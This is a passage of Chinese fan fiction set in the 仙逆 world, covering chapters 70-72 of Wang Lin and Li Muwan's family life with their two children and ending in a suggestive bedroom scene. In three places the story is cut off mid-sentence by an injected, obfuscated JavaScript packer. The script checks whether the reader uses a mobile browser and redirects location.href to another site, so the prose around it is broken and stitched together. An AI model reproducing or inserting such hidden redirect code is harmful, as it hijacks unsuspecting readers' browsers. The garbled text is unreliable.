《金风玉露[仙逆同人文]》 70.结发 她知道王林要训孩子了,每每王林训话时,她从不插话阻止。 “看谁呢?”王林声音肃穆,盯着两人的小动作。 王思礼害怕不敢吱声,小手紧紧抓着王依依衣领,王依依知道要护着弟弟,小手拍着他,主动认错。 “爹爹,依依知道错了,是依依带着弟弟玩的。”她小脸委屈,王林眼睛一动,她便知道爹爹要做什么。 “是跟爹爹认错?还是跟娘亲认错?” “娘亲,依依错了,是依依不乖。”王依依拽着李慕婉中衣袖口,等着娘亲开口。 她没及着应。 “娘亲,爹爹,思礼也错了。”屋内静得只听得见炉火的声音,王思礼也跟着姐姐一块认错。 “知错就改,才是好孩子,你们还要玩吗?”李慕婉抚着两个人。 姐弟俩齐齐摇头,乖得很。 王林敛起肃色,往空出的位置坐下,滑入被褥里,手臂揽过李慕婉。 “爹爹,不生气了吧。”王依依望着他,试探道。 “爹爹不是生气,”李慕婉倚在他胸膛,给两人掖紧被角,姐弟俩共用一块小被,李慕婉与王林同盖一张被褥,“你们本该要睡了,是依依跟娘亲说要多玩一柱香,娘亲才答应,可时辰到了,依依为何不遵守承诺?” “是依依错了……”王依依摇着她手臂。 小孩贪玩,自控不了,可自小若不约束,长大便无了规矩,李慕婉和王林自是要管教。 “守时,守信,乃为人之道,依依既然知道错了,往后不要再犯就是。”李慕婉摸着她脸蛋,手心暖暖的,王依依蹭了蹭。 “爹爹说,君子一言,驷马难追。”王思礼低声说,听得是困了。 “是了,”王林点头,“睡吧。” 王思礼玩累了,片刻后呼出的气息有些重,王依依收起玩心,盯着爹爹娘亲,眼睛眨巴眨巴的,困得打架。 “依依怎么还不睡?”李慕婉侧躺下了,背对着王林,枕在他手臂里,腰上搭着他的手。 “爹爹和娘亲怎么不睡?是还要说悄悄话吗?”王依依认真问道。 王林笑道,“依依快睡吧。” 王依依才舍得闭眼,王林搭在李慕婉腰上的手捞了她往自己贴近,抵着她。 北风吹着竹林,竹子又刮得凄厉,她转了个身,钻入他怀里,鼻尖抵着王林锁骨处,身上淡淡的提神香,引着她入睡。 *** 王依依不管到了哪里,都熟悉得快,白日爹爹娘亲忙着自己的事,没空与她玩,她便乐意跟着祖母去走人家。 久而久之,周英素没空外出,王依依自己坐不住,带着弟弟就往村里跑,她爱去王浩家和谢三婶家玩,王浩家的大头玩具多,稀奇东西也多,谢三婶家好吃的多。 每回去了她就不想走,大头会护着玩具,并非每次都乐意分享给她玩,可谢三婶却乐意给她做好吃的,两人但凡从谢三婶家回来,小肚子总是鼓鼓的。 有那么一回,姐弟俩在大头家玩得天黑也不知道回家,周英素立在海棠院墙外喊了几次,都不见二人应的声音。 无奈之下,挑水回来的王林只能带着李慕婉出去寻,谢三婶家没有,那就只能在王浩家了。 两人刚入院子,便瞧见王依依和大头躺在地上斗蛐蛐,王思礼则在一旁观战,帮着姐姐的蛐蛐喊加油。 院里躺着几个小人儿,脸上衣裳都是蹭的土,还有草碎挂在头发上,衣裳也乱了,不知道的以为是谁家丢的野孩子。 “王依依?”王林又气又好笑。 沉浸在欢乐的孩子们没有反应。 他又唤了一声,“王依依?” “嗯?”王依依随口一应,并未察觉身后的人。 忽的后领子被人揪住,姐弟俩似小鸡崽一样被王林一手一个拎起。 大头还乐呵地朝王林和李慕婉喊道,“二伯伯,二伯娘。” 他见势不妙,自己起身拍了拍。 “爹爹……”王依依才缓过神,手扯着领子,“这样难受。” “阿兄,放下来说话吧。”李慕婉接了王思礼,王林松开手,两人才站直了。 “什么时辰了?”王林正肃,“祖母喊了你们几次,天黑不知道回家吗?” “爹爹,我还想玩。”王依依心不在焉,装着都是笼里的蛐蛐。 李慕婉拍净王思礼身上的草屑,又给王依依擦脸。 “依依要玩明日再来,让祖母带你来好不好?”李慕婉哄着她。 “我不要,我就要现在玩。”她如今这个年纪了,更有自己的主意,也不是每回都那么好哄。 她退开几步,站远了,跟大头立在一块,扭着身子,侧过去不看爹娘。 手里搅着脏湿的衣袖,余光瞥着他俩,瞪着眼睛,一副生气的样子。 夫妻二人面面相觑,王林眉心越发蹙紧,他吸了口气,进屋与王浩夫妻二人问了好,出来时径直拉了王依依往回走,可王依依挣扎着,哭了。 王思礼凡事都跟着姐姐,姐姐做什么他便做什么。 斗蛐蛐还没分出胜负,王依依哭得厉害,不愿意跟王林走,李慕婉抱着王思礼,怀里的他也跟着哭。 王林面色平静,抱起她,任由她在怀里挣扎,等她哭好了,才漫不经心开口:“依依不要爹娘和祖父祖母了?因着一个蛐蛐,天黑也不带着弟弟回家?” 哭声绕在田野上。 “我想玩蛐蛐。”她眼睛红红的,鼻涕流出来了,王林用衣袖给她擦。 “明日再来也能玩,祖母做了你们爱吃的肉包子,依依要出去玩,爹爹娘亲不管,但是天黑前得回来,不然家里担心,爹爹娘亲不是都教过的?”王林耐心与她说,“你瞧弟弟是不是都累了?” 王思礼在李慕婉怀里睡着了。 “那爹爹,明天依依还能去大头家玩吗?”她还委屈着。 “当然可以。”王依依吸了吸鼻子,蹭着他心口。 “爹爹不凶依依吗?” “爹爹知道,依依只是玩心起来了,一时失度,你如今知错了,爹爹还生什么气?” 王依依瞟着李慕婉,李慕婉点点头,王依依肚子叫了。 “你瞧,依依饿了。”王林温柔地掂了两下,嬷嬷她瘪下去的肚子。 王依依觉着爹爹与自己玩,笑了,问道:“娘亲,祖母当真做了肉包子吗?” “是,不过依依身上脏了,回去得先洗浴后才能吃包子。”李慕婉与王林并排着。 “我要吃这么多。”她伸出五指,夜幕降下,村道上看得不是很清楚。 小小的指头,都是脏污,指甲里也都是泥,回到王家村,她性子倒是野了不少,只不过能看见她撒欢地玩,王林和李慕婉便由着她。 “晚上吃多了积食。”李慕婉应着她。 “婉儿当心些。”王林侧头看她叮嘱道,光线不大好,怕她摔着了。 王依依情绪调整得很快,路上跟爹娘一句一句问着,王林和李慕婉都应着她。 回到小院后,给姐弟俩洗了澡,王林抱进堂屋,王天水抱着王思礼给他擦头发。 玩了半晌,午觉也没怎么睡,这会他便频繁眨眼睛,周英素端了刚出炉的热包子,李慕婉拿着碗筷跟进来。 王林收拾好小院,又把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李慕婉挨过去,贴着他。 王依依抓了一把他的白发,又挑了李慕婉一丝黑发,缠在一块玩。 “再过两日,私塾开课了,咱们就回去县里。”王林回着她的问题。 屏风后矮榻上熟睡的王思礼似乎在打鼾,李慕婉比了嘘的手势,谈话声变小了。 “那咱们去长乐县前要去找舅舅玩。”手里的发丝被她无声无息地编成一条小辫。 “好,那明日咱们一块去。” 李慕婉抱着王林手臂,靠在他肩头,摸着王依依的头顶,没一会,怀里的人睡着了。 “依依睡了。”李慕婉对王林说。 王林低头瞧了一眼,正欲起身,发丝扯住了,李慕婉也受了一股力,连带起身。 两人看见胸前交缠的头发,无奈笑笑,李慕婉抬手准备解开,王林打断她,“婉儿别解。” 李慕婉收手,茫然望着他,“为何?不解开怎么走路。” 他挑着笑,“婉儿与我步伐一致,自然能走。” 李慕婉闻言站直身,一直等他放下王依依,两人坐在床沿,两缕发丝松了些,王林又编紧了。 “结发为夫妻,恩爱两不疑。欢娱在今夕,嬿婉及良时。”他眸子脉脉含情,“婉儿,这样的日子,便是我最向往的。” 李慕婉靠过去,掌心滑入他大掌,“阿兄,婉儿亦如此。” 两人回眸看着矮榻熟睡的一儿一女,王依依小手臂搭着王思礼,成一个保护的姿势。 71.相守 翌日王林带着母子三人去了镇上药铺,李奇庆留了许多外商带来的玩具,跟大头家的不一样,王依依和王思礼一人一份。 王依依有了新玩具,还记得拿去给大头分享,这一次天黑前她知道要回家。 日暮未及,田里的村民还未息,王依依就带着王思礼往竹林小院回。 田野上的稻苗长得绿,风一吹,麦浪滚过。只是走到半道,不知哪家的狗追过来,两人开始还是警惕的,不慌不忙地移着步子,王依依紧紧抓着王思礼,把他护着身后。 “姐姐,狗狗咬人吗?”王思礼趴在她身后。 “不咬人,思礼不要跑,小狗就不会追了,这是祖父说的。”王依依推着他先走。 等了一会,她才跟上,可没走多远,那只小黄狗就追上去,摇着尾巴,不像是要咬人的,应是想跟他们玩儿。 两人见状更害怕了,一时把方才说的话都抛之脑后,步子跑的急。 “思礼快跑。” 王依依一边跑一边喊着:“娘亲,娘亲……” “啊啊啊……”王思礼在前面哇哇哭,还知道跑。 王依依望着远处竹林小院的院墙,“爹爹,救命……” “爹爹……” 小黄狗撵上了,就转在他们脚边,长高的稻苗把两个小人的身子遮了一半,远处的村民只以为是玩闹,也没多管,直起身子扫了一眼,又弯下腰杆继续干农活。 院里的王林和李慕婉听见声音,走出院墙,远看着田埂上还有人的,只听得扑腾一声,人影跑着跑着不见了。 “又掉进去了。”王林侧眸与李慕婉平静说。 李慕婉捋顺发丝,挽起衣袖,同样淡定,“我去烧水,阿兄去接回来吧。” “好。” 李慕婉从厨房烧好水出来,王思礼和王依依一人一个木墩子,直直坐在院里。 “爹爹,祖父不是说,不跑小狗就不追吗?”王依依心有余悸,“为何小黄狗还要追着我和弟弟。” “你们没跑吗?”王林从厨房拎着木桶。 王依依脚蹭着草地,小鞋都被泥水浸湿了。 “跑了……”她低头看着鞋底的泥一点一点蹭掉。 “有哪里疼吗?”李慕婉抬着王思礼的手臂,没看着伤口又去给王依依检查。 “没有,就是稻叶割人。”王依依伸出手臂给她看,稻叶割了手一时半会看不到伤口,得碰了水或久一些才会显现痕迹。 “割着了?”李慕婉心疼地给她仔细摸了摸,她知道被稻叶割伤的感觉,痛痒痛痒的。 “娘亲不疼。”王依依乐观道。 “等洗干净后娘亲给你上药。” “娘亲,抱抱。”王思礼张开手臂。 王林拎着捅热水出来,一把举过王思礼,“你身上都是泥,别把娘亲也弄脏了。” 王思礼哭得鼻头通红,小脸蛋被泥巴盖住了,黑乎乎的,难怪王林不让李慕婉抱。 两人衣袖和衣裳都是糊的泥土,王林从田里刚捡回来的。就连身上也被殃及了,蹭了两人身上的湿泥,不得已他也得换衣裳,好在李慕婉多烧了些水,父子三人够用了。 索性热水拎到后院净室,王天水早两年做了个浴桶,是给王依依和王思礼夏日装满水,让姐弟两人游着玩的。 净室的竹帘放下,王林脱了外衣,只留一条亵裤别在身上,跨入浴桶内。李慕婉先给王思礼脱了衣裳,抱进浴桶里,王林接着,让孩子坐到大腿上,热水装得不深,淹不到孩子。 王依依紧随其后,进来浴桶水仗便打起来了,李慕婉拿了块帕巾,又递了一块给王林,浸湿后各自给两个孩子擦脸。 “娘亲不一起吗?”王依依捧了把水,从自己胸前浇下去,又捧了一把,在王思礼的后背往下淋。 王林闻言瞅着她似也在问她,李慕婉避开他视线,“水不够了。” 她怎可能在孩子面前跟王林同浴,而且还是在竹林小院,爹娘瞧见也不好。 王林这眼神,就是故意挑逗她的。 “爹爹,等咱们回了长乐县,让娘亲一块洗好不好。”县里宅子有温池,自然能容下一家四口。 “好。” 以前每回四人一块洗时,王依依和王思礼都是先回屋的,哄睡了,院子还有二人在温池缱绻的声音。 李慕婉心念一想,确实许久,没与他同浴了…… 这些日子,两个孩子闹腾得很,得分心神顾着他们。成婚那会夫妻间的事他要的频繁,她只当王林是食髓知味。 可如今成婚几年了,王林与她虽未夜夜笙歌,却也是隔三差五的缠着她,每次时辰短不了,要不一连好几次,不知他终日哪来那么多精力折腾。 *** 隔了半月,一家子又回王家村小住。 谢三婶家要在院子前翻一块菜地,周英素家里不忙便去帮手,李慕婉和王林去了清平镇,两个孩子留在小院里,也要跟着周英素去。 周英素帮忙翻土,春日的昆虫都出来了,蚂蚱、蟋蟀、蚯蚓、青蛙...... 两个孩子还是第一次下地玩儿,见着什么都稀奇,胆子又大。 王依依屁股撅得老高,一个猛扑,按住了只青蛙,蛙腿从指缝漏出来,她随即收力,紧紧捏着青蛙,举高了给周英素看。 “祖母,这是依依抓的青蛙。” 周英素跟谢三婶忙着说话,侧头看了看她,“好好好,依依真棒。” 王思礼也有样学样,举着一条蚯蚓等夸,“祖母,思礼也抓到了,这是什么?” 王依依嫌弃的撇了一眼他手里长长的蚯蚓,悄无声息地往后退了几步。 “这是蚯蚓,能入药的。”周英素叮嘱说,“你可别都放嘴里啊,依依也是。” 王依依不会,王思礼还小就不一定了,她得唠叨几句。 “婉儿和铁柱没在家啊?”谢三婶笑着望了望这两个小娃娃。 “去镇子上了。” “铁柱命好,娶了婉儿这么个贤惠能干的媳妇,又给老王家生了一儿一女,你和我王大哥这辈子,可见圆满了,真叫人羡慕。”谢三婶露出羡慕的笑容。 “老姐姐,花影也不错啊,姑爷疼她,婉儿昨日还说等花影回来后一块聚聚呢。” 王思礼见祖母没有再理会自己,他便把注意力放到姐姐身上,“姐姐,这是蚯蚓。” “我知道。”王依依蹙眉,眼里的嫌弃肉眼可见。 她怕蛇,怕蚯蚓这种长条的软体动物,警惕着他,“小麻袋,不许过来。” 谢三婶听见了,忍不住问周英素,“小麻袋?这名字谁取的?” “铁柱说是依依自己给取的。”周英素说。 谢三婶意味深长的“哦”了一句。 王思礼手里抓着蚯蚓不愿放,王依依不敢跟他玩,两个人隔得远,愣是在地里玩了半晌。 不知不觉,王思礼在田里打滚,身上全是泥,还把蚯蚓放到袖袋里,说要拿回去给娘亲看,一口气在土里翻出好些。 李慕婉害怕,给他换掉脏衣裳时,见着袖袋缠着的好几条活生生的蚯蚓,魂都吓丢了。 “王、思、礼!”李慕婉的喊声响彻小院,鸡圈里的鸡抖了抖毛,海棠枝上的麻雀在巢穴探出头张望,院内抱柴去烧水的王林闻声丢了柴火,赶忙回屋查看。 “婉儿,怎么了?” 他满脸担忧的走过去,看了看站在屏风后的王思礼和王依依。 李慕婉眸子里含着泪水,猛地扑到王林怀里,王林张开手接她,她跺着脚浑身都在抗拒,抬起腿不愿意着地。 那几只蚯蚓还在木板上蠕动,王思礼懵懵地望着娘亲,小眼神无辜得很。 “给娘亲的……”他指了指那些散在地上的蚯蚓。 “阿兄,阿兄……有……”王林搂着她,李慕婉不敢回头看,头埋进王林颈侧,含糊不清地说着什么。 “婉儿,怎么了这是?”王林只能横抱起她,安抚着。 “爹爹,思礼带回的蚯蚓,把娘亲吓着了。”王依依一副事不关己的模样,也不是要告谁的状。 原是如此,王林哄着她,“婉儿不怕。” “娘亲胆子比依依还小。”王依依推着王思礼,“你把娘亲吓哭了,抓紧把这些蚯蚓都抓到院里去。” 王思礼只觉得蚯蚓好玩,想给娘亲看,不曾想吓哭了娘亲,他瘪着小嘴,不情不愿地把地上的几条蚯蚓弄走了。 “依依,你带弟弟去找祖母。” 王林支走了两个小孩,抱着李慕婉落在长木桌前,整个人坐在他身上,宠溺地望着她,掌心擦干了眼泪,“吓着我的婉儿了。” 李慕婉委屈地看着他,王林吻上她的眼眶,温声哄她,“不哭了,阿兄在呢,思礼不知道娘亲害怕,他只是想跟你玩的。” 小脸贴着他的胸膛,可怜样叫人看了怜惜。 “婉儿知道,”李慕婉回想起那个画面,还是忍不住颤了颤,“可那东西委实吓人……” 王林捏了几下她脸蛋,“好,那以后不许他们再去田里,料不定哪日又带回来什么东西吓着婉儿。” “嗯。”她鼻音重重的,钻在他怀里不愿意出来。 王林哄了好半晌,才去给姐弟两洗了澡,换了衣裳,白胖胖的小人与方才脏兮兮的模样判若两人。 晚膳时,王思礼坐在王林怀里,睁着眼睛时不时瞟着一旁的李慕婉。 仿若想了许久,又不知道怎么哄,他把勺子递过去,“娘亲,我要娘亲喂。” 王林夹了菜往他碗里放,目光散着温柔,王思礼耐心等着李慕婉接。 “娘亲,思礼错了,思礼明日给娘亲摘一束花赔罪。”这话是王林给他沐浴时教来哄娘亲的。 李慕婉接了他的小勺,舀了一勺稀饭喂他。 王思礼乖乖张嘴,咽下后抬头眨着眼望王林,似乎在等表扬。 王林顺势夸道,“思礼也会哄娘亲了。” *** 王林收到其他郡县送来的讲学邀帖,他一直未接。从燕州回来后,他再没出去讲学过,往事历历在目,失去后的彷徨和噬魂之痛他再此生难忘。 偶尔县里书院会邀约他去讲一两日,他倒是不推辞,总之每回下学后,李慕婉都会带着王依依和王思礼等他下工。 药铺的生意好,若是有外县的大单子,李慕婉都会介绍到李奇庆药铺里,清平镇临着港口,运输货物便利些。 而木雕铺子的生意不像药房每日人来人往,偶尔有些富商或是家奴侍从重金买走一些成品。 他从不接单子,只管自己想刻什么。久而久之,不少文人慕名而来长乐县,只为听一场白发先生的讲学。 日子虽说过得繁忙,每半月夫妻二人总会抽出几日回王家村陪伴二老。 周英素悠闲,去谢三婶家吃茶,王天水则在王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14310356|144902||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 浩家赏绿植,木雕闲下来了,院子的花草大多都是他在打理。 为了方便两头跑,王林索性买下一辆马车,一个多时辰便能回到王家村。 周英素早早就从谢三婶家回来,做了他们爱吃的酱牛肉,李奇庆拎了几尾新鲜的鱼,都是客商送他的。 还有不少外商那送来的小孩子玩意,都是他留给两个外甥的。 这几年以他积攒的商路人脉,他手中财力物力,已经远超清平镇其他三大家族,成为首屈一指的清平镇富商。 一家四口刚入小院没多时,李奇庆便到了。 两个外甥见着舅舅争先恐后地要他抱,李奇庆只好一手一个。 “也就半月没见啊,怎么觉着你俩又长大了些呢。”他感慨着。 李慕婉抱过王思礼,引着李奇庆入内,“哥,小孩子嘛,长得快。” “你又给他们买那么多东西?” “舅舅最好了,依依最喜欢舅舅了。”王依依知道每回他来都会带好多新奇玩意儿,是清平镇和长乐县不常见的。 “是嘛,”李奇庆捏了她面颊,“这都是客商送的,不止他们两的,还有王叔周婶的,你们夫妻两的,都不缺。” “兄长费心了,”王林接过他怀里的王依依,“让舅舅进去喝茶,依依带着思礼去找祖父玩,乖。” 堂屋霎时热闹了,李奇庆从西域外商那得了张丹方,想着李慕婉定然会喜欢,特意花了大价钱买下。 李慕婉倒了茶,挨着王林坐在两人中间,李奇庆拿出丹方移到李慕婉跟前,“前些日子哥哥收了几张丹方,瞧见有意思的,就想着给小妹带来。” “给我的?”李慕婉满心欢喜,扫了一眼,“驻颜丹方?” 李奇庆呷了口茶,“嗯。” “怎么?是哥哥需要还是哥哥觉着婉儿需要?”她笑得娇俏,虽已是两个孩子的母亲,却不见她面容上有岁月的痕迹。 “倒不是因为这个。”他只是觉着妹妹虽已为人母,自己也该当与未出阁前一般宠爱着,从前就总爱给她买脂粉首饰哄她玩,李慕婉也喜欢。 “可是我看上边所需药材都是名贵之物,许多价格昂贵,还有的有市无价,要练成丹药何其困难?”李慕婉细细研究着。 “正因如此,这张丹方才显得更是珍贵,哥哥都看过了,里边的药材除了几味主味药物,其他哥哥的铺子里都给你留着,你若需要就到铺子里拿。” “至于其他的,哥哥拖人给你寻来,不是难事。”李奇庆风轻云淡,又浅啜一口。 “哥,”李慕婉撒着娇,揶揄他,“你对婉儿怎么这么好?” “你虽已是人母,可在哥哥这里,永远是我的小妹,哥哥对你好不是理所应当嘛?”李奇庆摸着她头,李慕婉身躯往他靠了靠,“谢谢哥。” 用过午饭,几人留在小院里闲聊,欢声笑语回荡竹林小院,李奇庆又拉着王林下棋,势必要赢他一回,李慕婉的琴音绕梁不消。 王依依趴在琴边端详着她弹琴,盯着那张脸,童真道,“娘亲,你好漂亮。” 李慕婉温柔一笑,停了琴声,摸了她头,“依依想不想学琴?娘亲教你。” 她脑子转了几下,犹豫道,“娘亲,依依想跟舅舅学经商。” 王林捏子的手微顿,歪头看着她,“依依想学经商?” 李奇庆放声大笑,“依依过来舅舅这。” 王依依撑起身往李奇庆怀里去,“舅舅,可以吗?” “当然了。”李奇庆肉眼可见的开心,“那依依先在私塾里好好念书,长大一些舅舅再带你经商,好不好?” 她重重点着头。 王林与李慕婉相视一笑。 王思礼钻入王林怀里,仰着头说:“爹爹,念书。” “嗯?”王林大掌碰着他小脸,“思礼要念书啊?” “棋。”他又指了指棋盘,努力垫着脚攀爬。王林索性给他抱起来。 王思礼趁机拿了他手里的棋子,求助地看着王林,“爹爹,下这。” 他手短,够不着,王林替他指了个棋格,“思礼要下这里?” 王思礼摇头,他便又往左移了一格,“那是这?” 只见他点了点头,王林随即落子。 两人看了棋盘局势,他这一子倒是落得精妙,两人相视一眼,李奇庆说:“思礼爱念书,这么小都看得懂棋了?不简单啊。” “两岁神童,焉是池中物。”李奇庆话有所指,王林与李慕婉相视,明白了他所言之意。 “依依,带弟弟去玩儿。”王林说,“婉儿,再弹一曲吧。” “好。” 李慕婉拨弦,王依依和王思礼栽在小院的花丛里玩躲猫猫,蝴蝶绕过花枝藏身起来。 王天水给海棠花修枝,周英素又要给孙儿们做新衣,小孩长得快,衣裳换的勤,李慕婉总说不要她操劳,可祖母惦记孙儿的心,做几件都不觉得累。 琴音漫过小院,绕在竹林上空,院中人影与谈笑环过,还有孩童追逐打闹的童趣。 李慕婉视线随着孩子奔跑的方向落在下棋的王林身上,王林落了一子仿若心有灵犀,抬眼与她视线交汇,一阵清风拂面,竹叶划过小院,遮住二人视野。 初遇的画面纵入脑海,王林伸手接住了落叶,掌心收紧时,柔情地望着李慕婉。 金风玉露一相逢,便胜却人间无数。 ——正文完 72.平淡 长乐县进来文人聚集多了,王林两耳不闻窗外事,守着两个铺子,还有家人,过起自家日子。 许立国日暮前把王依依从私塾里接了回来,药铺与木雕铺子是连着的,早两月前对面来了一家新的铁匠铺子。 他们家儿子与王依依同岁,两人玩得好,王依依下学后就往铁匠铺子跑,街道几家铺子都有不少小孩,总能聚在一起满街道的玩。 王依依刚进药铺左右喊了声“爹娘”,放好书箱,又去抱了抱专注看书的王思礼,朝他面颊啜了一口便要往外跑。 王林放了刻刀喊住她,“依依,夫子布置的功课可做完了?” 李慕婉在柜台规整药材,朝两人看去,王思礼还坐在小矮凳上看书。 “爹爹,我在书院早就写完了,不信你问许立国叔叔啊。”王依依走近他,捧了他的茶盏,咕噜咕噜喝下一大口。 “爹爹,娘亲,我要去对面铁匠铺子找大牛玩儿,吃饭喊我。”她一溜烟便跑了出去。 王林噙着笑意摇摇头。 王思礼合上书,爬下矮凳,也要追出去,奶声奶气地说着,“爹爹,娘亲,我也要去找姐姐玩。” “好,出去玩当心一些。”李慕婉给他理齐衣领,拍了两下,“要跟紧姐姐,知道吗?” “思礼记住了。” “去吧。” 王思礼追出去,王依依身影已经入了铁匠铺子,“曾大伯,大娘,我来找大牛玩。” “好。”曾父手里抡着铁锤。 “大牛,快出来,我爹爹给你刻了木雕,去我家拿?”大牛本是自来熟,王依依性子又热情,两个小孩熟的快,平日王依依去念书去了,他没少去药铺看王林刻木头。 曾父要他学打铁,他不喜欢,在铺子前吵着要跟王叔学木雕,少不了又要被曾父揪一顿耳朵。 “哦。”大牛从后院出来,“你下学了?” “昂,走吧。”王依依等着他。 王思礼才走到铁匠铺,又看曾父在敲铁,炉子里哔出火花,把他吸引住了。 “思礼也来找大牛哥哥玩吗?”曾父瞧着他那小模样,小小年纪却有一副端正肃穆的神情,与他父亲的沉稳有几分相似。 “嗯,曾大伯。”他礼貌喊了句,见王依依和曾牛跑远了,他追上去。 “思礼,你跑快些,姐姐不等你了啊。”几人约着去戏楼玩。 王思礼跑得慢,只能远远跟着,也不哭闹,追上了才作罢。 “姐姐。”满头大汗的他睁着眼圆溜溜地望着王依依。 王依依跟小伙伴们说着私塾里的趣事,又给他擦了汗。王思礼紧紧抓着她衣角,戏楼里人多,王依依牵着他,生怕跟丢了。 戏楼里每日申时到酉时都有说书先生讲话本,几个小孩要了一叠五香瓜子,能听到天黑。 天色暗下,曾父扯着嗓子朝街道喊,街头到街尾似乎都能听见声,正听话本的大牛背脊打颤,跳下凳子对着几人说:“我爹喊我,我得先回去了。” 否则,回去得晚曾父又得楸他耳朵。 “我们也回。”王依依牵着王思礼一块出了戏楼。 大牛刚回家门就被揪着耳朵,“爹,疼疼疼……轻点。” “小兔崽子,这么晚不知道回家啊。” 王依依偷笑,随即往自家铺子回,王思礼还站在那偷乐,王依依已经回到铺子檐下回头喊着他:“小麻袋,快回来,姐姐不等你了。” “姐姐,来了。”王思礼提起步子跑回家。 李慕婉刚好收了账本准备出去把两个孩子叫回来吃饭。 “依依?”她瞅着大门檐下的王依依,却不见王思礼,“弟弟呢?” “小麻袋在后面呢。”王依依刚说完,王思礼便跑了回来,身上出了一身汗,李慕婉蹲下身接着他,给他擦着汗。 “弟弟为何叫小麻袋啊?”李慕婉早就想问,为何要叫弟弟这个名字,王依依也只是玩闹时才会这般唤,先前也听过几回。 “许立国叔叔说,要是弟弟自己跑出去,会被人套麻袋抢走的,我便这么叫他了,祖父母不常说嘛,小孩要取个糙名,才好养活。”他的模样生得跟个小福娃似的,可爱得紧,就连来药铺抓药和买木雕的客人瞧见他都忍不住与他逗两句。 “所以祖父祖母才叫爹爹……”王依依鬼精灵,话到嘴边自个捂了嘴,眼珠子转了转,李慕婉知道她想说什么。 李慕婉摇头一笑,“那依依出去玩要多看着点弟弟。” “娘放心吧,小麻袋聪明着呢。”王依依跨入门槛,王林已经做好晚膳从后院端出来。 长木桌上摆放好了几副碗筷,“婉儿,吃饭了。” “爹爹做的菜好香。”王依依撑着木桌深吸了一口,赞不绝口。 “依依饿了?”王林把果子酒摆上桌。 “嗯,爹爹我能先尝一块么?”她指着碗里的酱牛肉。 王林朝李慕婉看了眼,李慕婉抱着王思礼又喊她,“依依,吃饭前要做什么?” “净手。”她答得快往后院跑去,舀了一瓢水自己洗好又替王思礼清洗。 几人刚坐下,大牛拎着果子酒,“王叔,婉儿婶婶,我来给你们送酒了。” 大牛放了酒,王林摸摸他头,“好。” 李慕婉又拿了一副碗筷,温柔道,“大牛,一起吃吧,你说的木雕王叔给你刻好了,吃完饭拿回去。” 大牛思虑须臾,答应下:“好,谢谢王叔和婉儿婶婶。” 起初刚见李慕婉,他开口就喊姐姐,爹娘说得跟着喊王婶。他不愿意,曾父揪着耳朵训他,大牛眼里噙着不服的眼泪,勉强答应喊婶婶,但他不喜欢喊王婶,他要喊婉儿婶婶。 曾父没法子,大牛主意多,又怕他带着王依依姐弟玩,给人都带野性了。谁知王依依同他是一个路子的。 他爬上长凳,王依依朝他使眼色,大牛吐了吐舌头,王思礼自己抓着小勺吃饭,喊着他,“大牛哥哥。” 屋外传来曾父的声音,“大牛,送完酒就回来吃饭了,别打扰你王叔。” “爹,我在王叔家吃。” “这小兔崽子。” 曾母劝着,“好了,就让大牛去吧,凑个热闹罢了。” 偶尔两家也会各自串门用饭,曾家做了饭会叫上王家一起去吃,王林和李慕婉懂得礼尚往来,也不会怠慢。 做好的药贴和丹药会送到铁匠铺子,曾父常年打铁身子健朗,可手腕酸痛难免,李慕婉的药贴便极其有效。 吃过饭王林拿了木雕给大牛带回家玩,收拾好后铺子门关了,一家人才回到宅子休息。 王林给王思礼和王依依盛好热水,庭院里放了两个浴桶,李慕婉拿了干净衣裳给孩子们换洗。 王依依自己脱了外衣,里面裹着一件小布,王林提着她放入浴桶,她自己往身上招着热水,王思礼想进去,却又耐着性子,这个年岁的孩子难得情绪稳定。 他小手挥舞着,待王林把他小衣裳都脱完了才抱进去,浴桶冒着热气,王依依捧了一把水,朝弟弟身上泼,水珠洒了满面。 委屈的小眉头一皱,回眸看了眼爹爹,“爹爹……” 王林噙着笑,替他抹了水珠。 “小麻袋,姐姐跟你玩,你不泼回来吗?”王依依又捧了一把水,还没泼过去。 他正等王林点头,见爹爹点了头,他这才学着姐姐的模样捧了一把水泼过去,只是他手掌小,没泼出去就几乎漏完了,也没能“复仇”成功。 王依依得意笑着,捧了把水又要泼过去,他干脆转了个身要躲,小身板结结实实的接住了。 李慕婉听着笑声从廊下过来,声音温柔,“不是洗澡嘛,怎么玩起来了?” 托盘的衣裳放到石桌上,她提起裙摆蹲身,试了试水温,又浸湿帕子拧干水,擦着王依依的脸。 “娘亲,我跟弟弟玩呢。” 李慕婉看见王林身上浸湿的地方,“你把水都泼到爹爹身上了。” “无妨。”王林宠溺地看着他们。 入夜风带着些凉意,月光晒着庭院,他胸前衣领湿了。 “对不起爹爹。”王依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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拿着书本的指尖沿着边沿慢慢移到李慕婉手腕,忽而用力,书掉了,手腕落到他面颊上。 “阿兄?”李慕婉一丝轻轻的颤音,勾得他心魂俱颤。 “婉儿,夜深了。”结实的臂膀从身下穿过,李慕婉被打横抱起,窗只掩了一半,矮榻陷下,王林抱着她,结实的腹部压过她,软指游在他线条里,中衣不知何时散落地上。 床榻摇着声音,偶尔细音传到窗外,“婉儿,喜欢这般吗?” 